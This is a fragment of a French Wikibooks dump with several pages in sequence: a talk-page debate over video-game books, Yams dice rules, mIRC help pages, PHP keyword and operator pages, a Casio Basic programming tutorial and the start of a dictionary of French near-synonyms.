comment le projet a été défini. A partir de là, on choisit le projet qui correspond à nos attentes. Par exemple, pour des romans, il y a un projet littéraire, Limbes, mais je ne sais pas s'il fait partie de wikimédia. Pour les jeux vidéos, j'avoue que je trouve regrettable un article comme : [[:en:Grand Theft Auto: San Andreas/Appendices/Hot Coffee]]. Est-ce que cela fait partie du projet d'expliquer comment installer des extensions pornographiques pour un jeu ? [[Utilisateur:Marc|Marc]] 25 sep 2005 à 20:04 (UTC) ::::: Bien sûr il faut savoir comment le projet a été défini, ici wikisource, mais si ce dernier est trop restrictif, rien n'empêche de recueillir l'opinion générale et d'éventuellement élargir son mandat. Le projet n'est pas coulé dans le béton. [[Utilisateur:Pfv2|Pfv2]] 26 sep 2005 à 01:37 (UTC) :::::: Modifier en cours de route un projet au nom de "l'opinion générale" (je ne sais ce que peut être une opinion générale), c'est trahir les contributeurs qui se sont investis dans le projet. Autant, d'ailleurs, ne pas définir de projet du tout, et faire ce qui nous passe par la tête puisque cela peut changer au gré des fluctuations de l'opinion (?). Pour ma part, je n'aurais aucune envie de poursuivre un projet qui peut changer de but et de nature suivant la mode. Ce n'est pas au projet de changer de nature suivant l'opinion des uns et des autres, mais à ceux-ci de choisir le projet qui leur convient. [[Utilisateur:Marc|Marc]] 26 sep 2005 à 06:44 (UTC) ::::::: Si on fait un vote suffisament large, et qu'une proportion majoritaire et suffisante des contributeurs de wikimedia/wikibooks veut élargir le mandat du projet, rien ne pourras l'empêcher. Comme les pages de wiki qui sont de nature collaborative et peuvent changer, je ne vois pas pourquoi un projet ne pourrais pas évoluer. D'ailleurs, je ne suis pas certain que l'orientation originale de wikibooks a été bien spécifié, et qu'il ne s'agit pas d'une interprétation quand quelqun dit qu'il doit contenir seulement des livres pédagogiques du type tutoriel. [[Utilisateur:Pfv2|Pfv2]] 26 sep 2005 à 19:47 (UTC) :::::::: Pour la dernière question, j'ai cité dans le bistro : « Ce projet a démarré en réponse à une demande du Wikipedian Karl Wick qui réclamait un espace où il serait possible d'écrire des livres pédagogiques de façon communautaire, avec notamment pour but de mettre à disposition les connaissances humaines de façon libre et gratuite et ainsi lutter contre les inégalités devant l'éducation. » (extrait de l'article [w:Wikibooks|]] de Wikipédia). ::::::: En outre, ce serait mieux de continuer ces conversations sur le bistro je pense : [[Wikilivres:Le Bistro#Définir clairement Wikilivres]]. - [[Utilisateur:Darkdadaah|Dakdada]] [[Discussion Utilisateur:Darkdadaah|<small>(discuter)</small>]] 26 sep 2005 à 20:10 (UTC) Je pense que c'est dorénavant plus clair, si j'ai bien compris les jeux vidéo ont leur place sur Wikilivres, à condition que ce soit des explications sur le jeu, de l'aide sur la manière de jouer, ... pas seulement des astuces ou alors il faut mettre un bandeau du type : {{m|ébauche}}. Wikipédia tolère les ébauches, je ne vois pas pourquoi Wikilivres devrait être extrêmiste. [[Utilisateur:YolanC|YolanC]] 29 oct 2005 à 18:12 (UTC) * '''nettoyer plutot que supprimer''' Je pense qu'un wikilivre sur un jeu vidéo ''peut'' être pédagogique, à condition de ne pas dire tout et n'importe quoi. Lorsqu'on considère les jeux difficiles d'accès comme les jeux de gestion ou de tactique anciens, voire des jeux d'action au gameplay hermétique, une explication sur un wikilivre peut réellement aider. Ceci-dit, les triches ou les guides de jeu n'ont leur place ni sur wikipedia, ni sur wikilivres. --[[Utilisateur:Meithal|Meithal]] 15 décembre 2005 à 13:48 (UTC) :*'''garder''' Je n'ai lut null part que les wikilivres ne sont que des documentations, un wikilivre peut trés bien être une description ou une histoire, ici ce sont des descriptions de jeu. Par contre un livre est forcemment plus détaillé qu'une page d'encyclopédie... Donc faudrait voir a replacer wikilivre par rapport a wikipedia en ce sens que c'est un contenu parfois subjectif, mais surtout fortemment détaillé. Est ce qu'on garde les guides et astuces pour les différents jeu avec le caractère éphémère que cela comporte, doit on garder que les wikilivres concernant l'aspect sociologique ou technique du jeu vidéo en excluant tous les aspects ludiques vers d'autres wikis ? [[Utilisateur:Greudin|Greudin]] ''qui a changé d'avis sur la question''. Modèle:Wikipediapar 5794 24778 2005-11-03T08:03:14Z 132.149.107.65 <div class="noprint" style="clear: right; border: solid #aaa 1px; margin: 0 0 1em 1em; font-size: 90%; background: #f9f9f9; width: 250px; padding: 4px; spacing: 0px; text-align: left; float: right;"> <div style="float: left;">[[Image:Wikipedia.png|50px|none|Wikipedia]]</div> <div style="margin-left: 60px;">[[Wikipedia:{{{1}}}|Wikipedia {{{1}}}]] a d'autres information à ce sujet&nbsp;: <div style="margin-left: 10px;">'''''[[Wikipedia:{{{1}}}:{{{2}}}|{{{2}}}]]'''''</div> </div> </div> Boîte à jeux/Yams 5797 27267 2005-12-21T23:26:28Z François Haffner 951 [[Boite à jeux/Yams]] déplacé vers [[Boîte à jeux/Yams]] 1 joueur à illimité <br/> durée d'une partie: '''Matériel:''' 5 dés à six faces '''Règles:''' Les joueurs jettent les dés et doivent former des combinaisons. Ils ont le droit de lancer les dés 3 fois de suite, tout en selectionnant les dés qu'ils souhaitent garder. Ils tentent une combinaison par session de jeu. A la fin de la phase de lancer des dés, ils choisissent dans quel combinaison ils inscrivent leurs résultat, le nombre de points obtenus varie avec le choix de la combinaison. S'il ne peuvent jouer la combinaison voulue, ils doivent se reporter sur un autre choix ou bien, si aucune autre combinaison n'est possible, inscrire 0 dans la case de la combinaison voulue. Le tableau des scores est divisés en 2 sections (partie mineure et majeure). Ils peuvent inscrire un bonus en fonctions du nombre de points obtenus dans la partie mineure. ==Combinaisons== ''Partie mineure'' *Maximum de 1: les joueurs doivent obtenir le plus grand nombre de dés avec la face 1 / ils marquent 1 fois le nombre de dés de valeur 1 *Maximum de 2: les joueurs doivent obtenir le plus grand nombre de dés avec la face 2 / ils marquent 2 fois le nombre de dés de valeur 2 *Maximum de 3: les joueurs doivent obtenir le plus grand nombre de dés avec la face 3 / ils marquent 3 fois le nombre de dés de valeur 3 *Maximum de 4: les joueurs doivent obtenir le plus grand nombre de dés avec la face 4 / ils marquent 4 fois le nombre de dés de valeur 4 *Maximum de 5: les joueurs doivent obtenir le plus grand nombre de dés avec la face 5 / ils marquent 5 fois le nombre de dés de valeur 5 *Maximum de 6: les joueurs doivent obtenir le plus grand nombre de dés avec la face 6 / ils marquent 6 fois le nombre de dés de valeur 6 Ils obtiennent un bonus de 35 points si le total de la partie mineure est supérieure à 63 points. ''Partie majeure'' *Brelan: les joueurs doivent obtenir 3 dés de même valeur / ils marquent 3 fois la valeur des dés identiques *Carré: les joueurs doivent obtenir 4 dés de même valeur / ils marquent 4 fois la valeur des dés identiques *Full: les joueurs doivent obtenir 3 dés de même valeur et 2 dés de même valeur - (brelan + paire) / ils marquent 25 points *Petite Suite: les joueurs doivent obtenir 4 dés qui se suivent (1-2-3-4 / 2-3-4-5 / 3-4-5-6) / ils marquent 30 points *Grande Suite: les joueurs doivent obtenir 5 dés qui se suivent (1-2-3-4-5 / 2-3-4-5-6) / ils marquent 40 points *Yams: les joueurs doivent obtenir 5 dés de même valeur / ils marquent 50 points *Chance: les joueurs doivent obtenir le plus grand nombre de points / ils marquent la somme de la valeur des dés En fonction du total (bonus inclus) de la partie mineure et de la partie majeure, le vainqueur est désigné. ==Voir aussi== * [[media:Grille de Yams.pdf|Grille du jeu de Yams]] {{BoiteJeux}} Image:Grille de Yams.pdf 5799 24791 2005-11-03T12:50:31Z Sebcaen 773 Grille du jeu de Yams Grille du jeu de Yams Programmation mIRC Introduction 5801 25011 2005-11-05T17:21:41Z Zerg 769 désolé dunkelzahn, on ne signe pas ses articles... {{Programmation mIRC}} Bienvenue dans '''<font color="blue">mIRC</font>''', un client Internet Relay Chat. mIRC tente de fournir une interface amicale à utiliser avec le réseau '''<font color="blue">Internet Relay Chat</font>'''. Le réseau IRC est un '''<font color="blue">lieu de rencontre virtuelle</font>''' où les gens du monde entier peuvent se rencontrer et se parler. A l'IRC tout ce que vous avez besoin de faire est de [[Programmation_mIRC_Se_connecter_À_un_serveur|Se connecter]] à un serveur, [[Programmation_mIRC_Joindre_un_salon|Joindre un salon]], et chatter ! mIRC vous guidera au travers de ces stades initiaux et j'espère vous chatterez en peu de temps. Si vous vous croyez courageux ou voulez trouver plus sur certaines caractéristiques, cliquez sur le bouton Help, par exemple dans le dialogue Options, et vous y trouverez des astuces pour vous aider. Lorsque vous devenez plus '''<font color="blue">expérimenté</font>''', vous pouvez également commencer la '''<font color="blue">configuration</font>''' de mIRC qui conviendra à vos propres besoins et goûts, caractéristiques comme les couleurs, les fontes, les touches fonction, les alias, les menus popups, les scripts, les sons et pleins d'autres choses. Les '''<font color="blue">quelques</font>''' premières sections de ce fichier d'aide sont '''<font color="blue">hautement</font>''' recommandées à lire car elles fournissent une introduction rapide de tous les aspects de l'IRC, lequel vous aidera à bien commencer. Rappelez-vous également de visiter [http://www.mirc.com le site Web de mIRC] pour de plus amples informations sur mIRC. Programmation PHP/Mots clefs réservés 5803 30666 2006-01-28T16:34:32Z Adtech 1095 {{Programmation PHP}} Les mots qui suivent ont un sens spécial en php. Si vous les utilisez hors de leur contexte, des problèmes de confusions peuvent arriver. {|align="center" rules="all" cellspacing="0" cellpadding="4" style="border: 1px solid #999; border-right: 2px solid #999; border-bottom: 2px solid #999; background: #ccccff" |+ style="font-weight: bold; font-size: 1.1em; margin-bottom: 0.5em"|Liste des mots spécifiques en PHP |- style="background: #9999ff" ! !! !! !! !! Uniquement sous PHP 5 |- | and || or || xor || __FILE__ || exception |- | __LINE__ || array || as || break || final |- | case || class || const || continue || php_user_filter |- | declare || default || die || do || public |- | echo || else || esleif || empty || private |- | enddeclare || endfor || endforeach || endif || catch |- | endswitch || endwhile || eval || exit || try |- | extends || for || foreach || function || clone |- | global || if || include || include_once || implements |- | isset || list || new || print || interface |- | require || require_once || return || static || throw |- | switch || unset || use || var || protected |- | while || __FUNCTION__ || __CLASS__ || __METHOD__ || abstract |- | extends || cfunction* || old_function* || |- | colspan="5" align="center"| <small>* : depuis PHP4 seulement</small> |} Programmation PHP/Opérateurs 5804 44068 2006-06-07T08:04:22Z Shawn 1611 /* Opérateur unaire */ {{Programmation PHP}} Les '''opérateurs''' sont des symboles qui permettent de manipuler les variables. ==Opérateurs de calcul== *+ Opérateur d'addition *- Opérateur de soustraction *<nowiki>*</nowiki> Opérateur de multiplication */ Opérateur de division *= Opérateur d'affectation *% Opérateur modulo ==Opérateur d'assignation== Ils permettent de simplifier la programmation (voir l'exemple) *+= additionne deux valeurs et stocke le résultat dans la variable ($x+=5 <=> $x=$x+5) *-= soustrait deux valeurs et stocke le résultat dans la variable ($x-=5 <=> $x=$x-5) *<nowiki>*</nowiki>= multiplie deux valeurs et stocke le résultat dans la variable ($x*=5 <=> $x=$x*5) */= divise deux valeurs et stocke le résultat dans la variable ($x/=5 <=> $x=$x/5) *%= donne le reste de la division deux valeurs et stocke le résultat dans la variable ($x%=5 <=> $x=$x%5) *|= Effectue un OU logique entre deux valeurs et stocke le résultat dans la variable ($x|=5 <=> $x=$x|5) *^= Effectue un OU exclusif entre deux valeurs et stocke le résultat dans la variable ($x^=5 <=> $x=$x^5) *&= Effectue un Et logique entre deux valeurs et stocke le résultat dans la variable ($x&=5 <=> $x=$x&5) *.= Concatène deux chaînes et stocke le résultat dans la variable ($x.='test' <=> $x=$x.'test') ==Opérateur d'incrémentation== *++ Incrémente de 1 la valeur de la variable si $x=1, $x++ = 2 *-- Décrémente de 1 la valeur de la variable si $x=2, $x-- = 1 Ces opérateurs sont très utiles dans les boucles (notamment ''for'') ==Opérateur de Comparaison== *== Renvoi un booléen pour indiquer l'égalité (ce n'est pas ''='') si $x == 1 -> true ou false (1 ou 0) *>= Renvoi un booléen pour indiquer la supériorité-égalité si $x >= 1 -> true ou false (1 ou 0) *<= Renvoi un booléen pour indiquer l'infériorité-égalité si $x <= 1 -> true ou false (1 ou 0) *> Renvoi un booléen pour indiquer la supériorité stricte si $x > 1 -> true ou false (1 ou 0) *< Renvoi un booléen pour indiquer l'infériorité stricte si $x < 1 -> true ou false (1 ou 0) *!= Renvoi un booléen pour indiquer la différence si $x != 1 -> true ou false (1 ou 0) *=== Renvoi un booléen pour indiquer l'égalité à la fois de la valeur '''et''' du type *!== Renvoi un booléen pour indiquer la différence '''ou''' de la valeur '''ou''' du type ==Opérateur divers== ===Opérateur unaire=== * ! : opérateur qui renvoie la négation de la variable (booleenne) ou de l'expression placée devant lui. ===Opérateur ternaire=== * ? : permet d'executer de renvoyer une valeur ou une autre en fonction d'un test. Par exemple:<br\> $appreciation=($note>10)?"bon":"mauvais";<br\> qui est strictement équivalent au bloc PHP suivant:<br\> if ($note>10)<br\> $appreciation="bon";<br\> else<br\> $appreciation="mauvais";<br\> Qu'est-ce qu'une distribution GNU/Linux ? 5805 25189 2005-11-07T16:41:35Z Marc 66 restitution de la dernière modification de Sebcaen '''Linux''' au sens strict désigne le noyau du système d'exploitation. Pour être un système d'exploitation à part entière il lui faut divers composants: ==Installateur== Il permet à l'utilisateur d'installer son système d'exploitation et de commencer les premières configurations telle que le choix du clavier, des logiciels et de la langue. ==Paquets== Principalement au format .deb ou .rpm, ce sont eux qui contiennent les logiciels permettant l'utilisation du système. ==Gestionnaire graphique== Même si celle-ci n'est pas obligatoire, il est deplus en plus difficile de passer outre. La distribution contient donc l'ensemble des éléments permettant d'acceder à un serveur graphique de type GNOME ou KDE (les plus courants). Mathématiques du traitement du signal:notes:rnmatlab 5808 30851 2006-01-30T08:57:29Z Garzol 521 /* réponse à un newsgroup */ Quelques remarques diverses : == réponse à un newsgroup == During the training phase, say a gradient backprop for instance, it seems that the contribution of an input <math>(x_i,y_i)</math> for a gradient step is like (<math>\Psi</math> is the neural network) : <math>\delta_i = 2 \, \nabla\Psi_{|i} \cdot (\Psi(x_i) - y_i)</math> that has to be divided by all the contributions of all other points : <math>{\rm Contrib}_i = \ {\left| \nabla\Psi_{|i} \cdot (\Psi(x_i) - y_i)\right| \over \sum_n \left| \nabla\Psi_{|n} \cdot (\Psi(x_n) - y_n)\right|}</math> you can see the absolute values <math>|\cdot|</math> introduce a real bias in this measurement. Besides you have to take in account the contribution during all the back propagation steps... You can use the Amari's approach (''Natural Gradient Works Efficiently in Learning'' (1998) --- Shun-Ichi Amari) and follow the '''path''' of the parameters of your NN during the learning phase. This will be a curvilinear integral along the learning trajectories. You can also use my description of neural networks (published only for perceptrons at this stage : ''Initialization of Piecewise Affine Neural Networks for nonlinear control'' (1998) --- Charles-Albert Lehalle and Robert Azencott), to access to a more direct approach. It will allow you to describe the effect of the training as translations of hyperplanes, and you will be able to quantify the contribution of a data to those translations. Programmation Basic Casio 5812 43857 2006-06-04T16:41:42Z Meithal 774 /* Menu COM */ mise en page Il peut être très utile de pouvoir rapidement fabriquer ses propres programmes sur une calculatrice afin de résoudre facilement des taches répétitives. De même, la possibilité d'emmener un support de programmation moins volumineux qu'un ordinateur est un atout appréciable pour celui qui s'intéresse a la programmation sur calculatrice. A l'issue de ce wikilivre, vous serez en mesure de créer des applications complèxes (utilitaires ou jeux) sur une calculatrice Graph 35, 65, 85 et 100. Les spécificités de chaque machine seront également précisées. ==Accéder au menu de programmation== En allumant votre machine, plusieurs menus s'affichent. Celui qui nous intéresse est le menu PRGM (en bas à droite) accessible directement par une pression sur la touche B. Les onglets affichés en bas de la page s'ouvrent d'une pression sur la touche de fonction (F1 à F6) correspondante. Si aucun programme n'est présent sur votre calculatrice, seul l'onget «NEW» est présent. Appuyez sur F3 pour créer un nouveau programme puis donnez lui un nom. Le menu de l'éditeur s'affiche alors. C'est ici que vous rentrerez le code qui composera votre programme. Appuyez sur [EXIT] pour revenir au menu de sélection des programmes. Le votre se trouve en bas de la liste et ne contient que 17 octets (des informations système invisibles). Pour lancer un programme, appuyez sur [F1] ou sur [EXE]. Pour modifier son code, appuyez sur [F2] (edit). ==Premiers pas== ===Afficher du texte=== Pour l'instant, executer votre programme ne sert a rien car il ne contient aucun code. Revenez dans l'éditeur puis entrez un texte entre guillemets (accessibles par la touche [ALPHA]). Executez votre programme pour voir le texte s'afficher. Si vous aviez omis les guillemets, le programme aurait effectué la multiplication de toutes les lettres du texte puis aurait retourné la valeur. Par exemple, si la variable A contient 2 et la variable B contient 3, entrer le code BABA sans guillemets retournera la valeur de B*A*B*A (2*3*2*3=36), c'est a dire 36. Voici une des premières spécificités du Basic Casio car il n'est pas besoin de mettre la commande PRINT devant le texte a afficher. Seuls les guillemets suffisent. ===Les variables=== Votre calculatrice dispose de cases mémoires dont les noms et types sont prédéfinis. Cela éclaircit la syntaxe mais limite le programmeur, à l'inverse des languages comme le C. Il existe une grande variété de variables disponibles pour les programmeurs. Les plus simples et les plus économiques en code (car vous ne disposez que de 64 Ko pour une graph 35 par exemple) sont les variables alphanumériques. Elles sont au nombre de 28 en comprennant les 26 lettres de l'alphabet plus les signes thêta et rhô (ce toutes les touches imprimées en rouge en haut à droite des touches). Pour vous apprendre à manipuler les variables, il est plus commode d'aller dans le mode RUN. *Pour connaître la valeur de la variable A, appuyez sur [ALPHA] puis la touche correspondant à la lettre A ([X,O,T]). Puis appuyez sur [EXE]. Si elle ne contient rien, il s'affichera 0. *Pour «remplir» une variable, utilisez la flèche présente au dessus de la touche [AC/ON]. Si vous voulez assigner la valeur 2 à la variable A, utilisez la syntaxe 2->A (cet article utilise -> plutot que → car certains ordinateurs n'affichent pas correctement ce caractère). Affichez ensuite la valeur de A comme expliqué dans le point précédent pour constater que la Variable A contient effectivement la valeur 2. *Il est possible d'effectuer des assignations composées comme 3+B->A . Cela aura pour effet d'assigner la valeur de B plus la constante 3 a la variable A. Pour incrémenter (augmenter de un) une valeur de 1, on peut s'y prendre ainsi: A+1->A. Le langage Casio ne gère pas les syntaxes comme A++ , familiers du C. Toutes les cases variables sont limitées a l'intervale [-1e-99 ; 1e+99] et ne gèrent que 10 chiffres significatifs. *Pour assigner le même nombre a toute une série de variables, il faut utiliser le tilde ~ (accessible par [ALPHA][F3]) entre les deux variables bornes. Par exemple 3->B~U met 3 dans toutes les variables entre B et U. On met très souvent 0->A~Z en début des programmes pour vider toutes les variables. ===Le menu de programmation=== Mais les fonctions de programmation les plus intéressantes se trouvent ailleurs, regroupées dans un menu a priori peu accessible (c'est juste une chose qu'il faut connaître). On n'y accède pas en naviguant dans une quelconque arborescence; mais en effectuant la combinaison de touches [SHIFT][VARS] (shift ''puis'' vars) dans l'éditeur (cela fonctionne également dans le mode RUN ; en fait, il est même possible d'écrire des programmes dans le mode RUN en séparant les instructions par un retour chariot ([SHIFT][EXE]) mais cela se révèle généralement moins pratique que le mode PRGM où l'on peut nommer son programme, le protéger par un mot de passe, etc.). Voici la liste de toutes les fonctions accessibles dans ce menu ainsi que les possibilités qu'elles fournissent au programmeur qui les utilisent: Note: Pour mieux illustrer les exemples, des instruction gratuites (n'ayant qu'un rôle purement démonstratif) seront rajoutées. Ces instructions ressemblent à "TEXTE" ou A+B->C et ne servent qu'à vous exercer à repérer le code superflu et à vous habituer à la lecture de vrais programmes. ====Menu COM==== '''If/Then/Else/IfEnd''' : Permet d'éxécuter des parties de votre code en précisant les conditions qui permettront leur execution: If (condition)<br> Then (code éxécuté si la condition est vérifiée)<br> Else (code éxécuté si la condition n'est pas validée)<br> IfEnd En français: Si (condition)<br> Donc (code éxécuté si la condition est vérifiée)<br> Sinon (code éxécuté si la condition n'est pas validée)<br> SiFin Concrètement, cela peut donner: ... "TEXTE" <br> 4->D <br> If A=2 <br> Then A+B->C <br> "LA CONDITION EST VERIFIEE" <br> Else 4->D <br> "LA CONDITION N'EST PAS VERIFIEE" <br> IfEnd <br> 2+5 <br> 5->A <br> ... L'interprétateur affichera "TEXTE" puis affectera 4 a la variable D sans conditions; mais lorsqu'il arrivera au If , il effectuere le test A=2 , et si le test est vérifié, les instructions placées entre le Then et le IfEnd seront exécutées. Si le le test n'est pas vérifié (si A n'est pas égal a 2), alors ce seront les instructions entre le Else et le IfEnd qui seront exécutées. Le "Else" est optionnel. Si il est absent et que la condition de test n'est pas vérifiée, alors aucune des instructions situées entre le Then et le IfEnd ne seront exécutées. Même le IfEnd est optionnel. Si il est absent, la condition regroupera tout le programme. C'est a dire que si le test n'est pas vérifié, aucune instruction du programme ne s'exécutera. Le IfEnd sert a borner la condition. C'est a dire que toutes les instructions situées avant le IfEnd seront exécutées en fonction du test d'entrée. Toutes les instructions après le IfEnd seront exécutées, indépendament du If. ---- '''For/To/Step/Next''' : permet d'éxécuter des instruction entre le For et le Next de manière répétitive. For (Valeur initiale)->(variable du compteur) To (valeur finale) Step (valeur du pas) (code executé tant que la variable ne franchit pas la valeur de la valeur finale) Next En français : De la (Valeur initiale)->(variable) Jusqu'à la (valeur finale) Par étapes de (valeur du pas)<br> (code executé tant que la variable ne franchit pas la valeur de la valeur finale) Recommencer // tant que la variable ne franchit pas la valeur finale. L'ensemble commencé par le For et terminé par le Next est appellé une boucle car les instructions situées dans cet ensemble s'executeront plusieurs fois de manière répétée. De la même manière qu'on dit « passer une musique en boucle », on exécutera ici des instructions en boucle. Ci-dessous seront expliquées les règles qui régissent cette boucle et la manière d'en sortir. Exemple de programme: Lorsque l'interprétateur arrive à une instruction For, s. La valeur initiale A noter que le step est optionel. Par défaut, la valeur du pas est de +1 . ==Liens externes== Voici quelques tutoriaux disponibles sur des sites spécialisés : * http://www.planete-casio.fr/Fr/programmation/index.php * http://www.jeuxcasio.com/cours-de-programmation.html * http://www.casioland.net/tutoriaux.php?idTuto=7 Programmation mIRC Se connecter à un serveur 5819 24928 2005-11-04T17:57:45Z MagnetiK 657 Ajout bandeau {{Programmation mIRC}} Se connecter à un serveur IRC est la première étape pour chatter en IRC et est accompli via le dialogue de '''<font color="blue">Connexion</font>''', qui s'affiche automatiquement quand vous démarrez pour la première fois mIRC. Une fois que vous entrez quelques informations '''<font color="blue">de base</font>''' sur vous-mêmes, vous pouvez sélectionner '''<font color="blue">un Serveur IRC</font>''' de la liste des serveurs et alors cliquer sur le '''<font color="blue">bouton Connect</font>'''. Vous saurez que vous êtes connectés quand le serveur IRC vous montre son '''<font color="blue">Message Du Jour (Message Of The Day ou MOTD)</font>''', lequel contient des informations au sujet du serveur. A ce niveau, vous serez capable de [[Programmation_mIRC_Joindre_un_salon|Joindre un salon]] pour commencer à chatter. == Informations de base == Les informations suivantes sont requises avant de commencer à vous connecter à un serveur. === Full Name (Nom complet) === Vous pouvez entrer un vrai nom ici, notez cependant, que quoi que vous entriez peut être vu par d'autres gens sur IRC. La plupart des gens entrent généralement un mot d'esprit amusant ou commentaire. === Email Address (courriel) === Vous devez entrer un courriel complet par exemple khaled@mirc.com. === Nickname et Alternative (Pseudonyme et alternatif) === Votre pseudonyme est le nom par lequel les gens vous connaîtront sur IRC. Rappelez-vous qu'il y a des centaines de milliers de gens sur IRC, donc il est possible que quelqu'un puisse déjà être là en utilisant le pseudonyme que vous avez choisi. Si c'est le cas, vous devriez essayer de prendre un pseudonyme différent, plus unique. Vous pouvez également entrer un pseudonyme alternatif dans le cas où quelqu'un utiliserait votre premier pseudonyme. Si les deux pseudonymes sont utilisés, mIRC insère "/nick" dans la boite d'édition pour que vous ayez à faire entrer un nouveau pseudonyme et pressez la touche entrer. === Invisible Mode (Mode invisible) === Si vous activez la case mode invisible, les gens ne seront pas capable de vous trouver sur IRC à moins de déjà connaître votre pseudonyme ou si vous rejoignez un salon ou parlez à quelqu'un en privé. == Serveurs IRC == Le serveur IRC que vous avez choisi est le facteur le plus important en déterminant avec quelle rapidité et facilité de vous connecter, ainsi si cela prend du temps de se connecter à un serveur IRC, choisissez un différent et essayer de vous reconnecter. '''<font color="blue">Note</font>''' : si vous avez des problèmes de connexion à un serveur IRC, voir la section [[programmation_mIRC_problèmes_de_connexion|Problèmes de connexion]]. Vous pouvez gérer votre liste de serveurs IRC en utilisant les boutons ajouter (add), édition (edit), et effacer (delete). Chaque serveur IRC se compose d'informations suivantes : === Description === Cela peut être tout texte que vous voulez et sert seulement de description. === Address (Adresse) === C'est l'adresse du serveur IRC, par exemple irc.dal.net. === Port Number (Numéro de port) === C'est généralement 6667. Si le serveur permet des connexions sur différents ports, vous pouvez les entrer séparés d'une virgule, par exemple 6667,6668,6669 et mIRC en prendra un aléatoirement à chaque fois qu'il se connecte au serveur. === Group Name (nom de groupe) === Ceci permet de grouper les serveurs quand ils sont rangés avec le bouton '''<font color="blue">Trier (Sort)</font>'''. === Password (Mot de passe) === C'est '''<font color="blue">rarement</font>''' requis, donc vous ne devriez rien entrer ici à moins qu'on vous ait dit de le faire. <font color="green">Note de scripteur : pour les utilisateurs de Wanadoo, il faut utiliser cette case pour insérer votre mot de passe d'authentification nickserv !</font> '''<font color="blue">Astuce</font>''' : Si vous cliquez du bouton droit de la souris sur le bouton de la barre d'outils Options, un menu contextuel apparaît ce qui vous permet de vous connecter rapidement à un serveur IRC. == Nouvelle Fenêtre Serveur == L'option '''<font color="blue">new server window (nouvelle fenêtre serveur)</font>''' vous permet de vous connecter à plusieurs serveurs IRC en même temps. Juste vérifier que la case à cocher 'new server window', et cliquer sur le bouton 'connect'. Le réglage de la case à cocher n'est pas mémorisé, donc il est '''<font color="blue">désactivé</font>''' la prochaine fois que vous ouvrirez le dialogue de connexion. Pour ouvrir une nouvelle fenêtre de serveur '''<font color="blue">sans</font>''' se connecter à un serveur, vous pouvez cocher la nouvelle fenêtre de serveur et presser le bouton OK. '''<font color="blue">Astuce</font>''' : Vous pouvez cliquer sur '''<font color="blue">votre bouton droit de la souris</font>''' sur le bouton de la barre d'outils de connexion pour afficher un menu contextuel que vous avez '''<font color="blue">récemment</font>''' accédé aux serveurs IRC. Si vous pressez la '''<font color="blue">touche shift</font>''' en sélectionnant un serveur dans le menu contextuel, il ouvrira une nouvelle fenêtre de serveur. Modèle:Programmation mIRC 5820 24924 2005-11-04T17:54:39Z MagnetiK 657 Petit modèle de header {| style="border:1px #808080 dashed; width:100%; padding:3px; text-align:center; " | [[Programmation_mIRC|Retour à l'index]] |} Dictionnaire des parasynonymes en français 5823 45730 2006-06-26T00:15:57Z Vrykolaka 94 /* transcription/translittération */ {{ébauche}} <!--CHAPÔ--> <blockquote cite="http://elsap1.unicaen.fr/avertiss.html"> <p>Deux unités lexicales sont en pratique toujours '''partiellement synonymiques''' ; cela signifie que c’est '''seulement dans un contexte donné''' que l’on peut remplacer l’une par l’autre sans modifier notablement le sens de l’énoncé. Cela implique alors qu’un autre synonyme ne conviendrait pas forcément à ce contexte.</p> </blockquote> <p>Ce dictionnaire est différent des autres. On trouve sans peine des dictionnaires des synonymes ([http://www.macdigit.com/index.php/weblog/more/dictionnaire_des_synonymes_en_ligne y compris en ligne]) ou des antonymes (à l’intérieur des précédents). Bertaud du Chazaud a écrit un dictionnaire des analogies, mais il tombe dans le même travers que les autres dictionnaires de synonymes, à savoir de donner des listes de mots présentés comme des ''équivalents'', ce qu’ils ne sont pas. Il faut dire que les dictionnaires de synonymes sont généralement (voire exclusivement ?) des ouvrages destinés à combler une « phrase en panne » (Bertaud du Chazaud) et non à un quelconque but didactique. Autrement dit, ''les dictionnaires de synonymes servent à dépanner, pas à expliquer''. Car les vrais synonymes – sens identiques – sont très rares, tant qu’ils méritent d’être signalés comme équivalents parfaits quand c’est le cas. Ainsi donc, vous trouverez ainsi principalement des '''parasynonymes'''.</p> <p>Ce dictionnaire est réellement en chantier : 95 % des termes ne sont pas définis, la question de la [[:w:Capitale_et_majuscule|majuscule]] n’est toujours pas résolue et l’infrastructure est intrinsèquement mauvaise (la base de données n'est pas adaptée). Cependant, c’est le mieux que je puisse faire dans l’état actuel de mes connaissances. Toute personne motivée est la bienvenue pour participer au projet.</p> <p>Enfin, je suis conscient qu’un tel dictionnaire ne peut avoir la valeur d’autorité d’un dictionnaire plus classique, les nuances étant sujettes à interprétation. Je pense néanmoins que ça vaut le coup d’essayer.</p> <!--FIN CHAPÔ--> == Dictionnaire des nuances == <p>Attention, ce n’est pas un dictionnaire des paronymes. Noter cependant les hyperonymes et hyponymes dans la description (exemple : ptéranodon est-il un hyperonyme de ptérosaure ?)</p> <p>De plus, ce dictionnaire ne signale pas les usages courants (exemple : quand on parle de drogue, on pense généralement à stupéfiant), uniquement les définitions.</p> <p>Quand vous avez terminé une définition, demandez-vous si vous ne pouvez pas la réduire (et prenez exemple sur les définitions déjà présentes). La majorité de mes définitions, j’y suis passé deux fois, une fois pour définir, une fois pour réduire, donc ne craignez pas d’en faire autant, au contraire ! Ce n’est pas une encyclopédie ni même un dictionnaire. Le but du présent recueil est de '''mettre en évidence les différences''', pas d’entrer dans le détail</p> === oui/si === <dl> <dt></dt> <dd> <p>À tout seigneur, tout honneur, c’est l’une des questions les plus posées à l’étranger. Si est une '''réfutation négative'''.</p> <p>Dans le tableau ci-dessous, les lignes représentent la question et les colonnes la réponse.</p> <table summary="Trois lignes et trois colonnes"> <caption>Oui et Si</caption> <tr> <th></th> <th>Affirmative</th> <th>Négative</th> </tr> <tr> <th>Affirmative</th> <td>Oui</td> <td>Non</td> </tr> <tr> <th>Négative</th> <td>'''Si'''</td> <td>Non</td> </tr> </table> </dd> </dl> *Aimes-tu le thé ? (je l'aime) : oui *Aimes-tu le thé ? (je ne l'aime pas) : non *N’aimes-tu pas le thé ? (je l'aime) : '''si''' *N’aimes-tu pas le thé ? (je ne l'aime pas) : non ===homonymie/paronymie/synonymie/parasynonymie/polysémie=== <dl> <dt>[[w:homonymie|homonymie]]</dt> <dd>Forme identique. <ul> <li>homographie : homonymie à l'écrit (les poules couvent au couvent)</li> <li>homophonie : homonymie à l'oral (sceau et saut, différentier et différencier)</li> <li>homonymie parfaite : homonymie à l'oral ''et'' à l'écrit (mousse, livre)</li> </ul> </dd> <dt>[[w:paronymie|paronymie]]</dt> <dd>Forme similaire</dd> 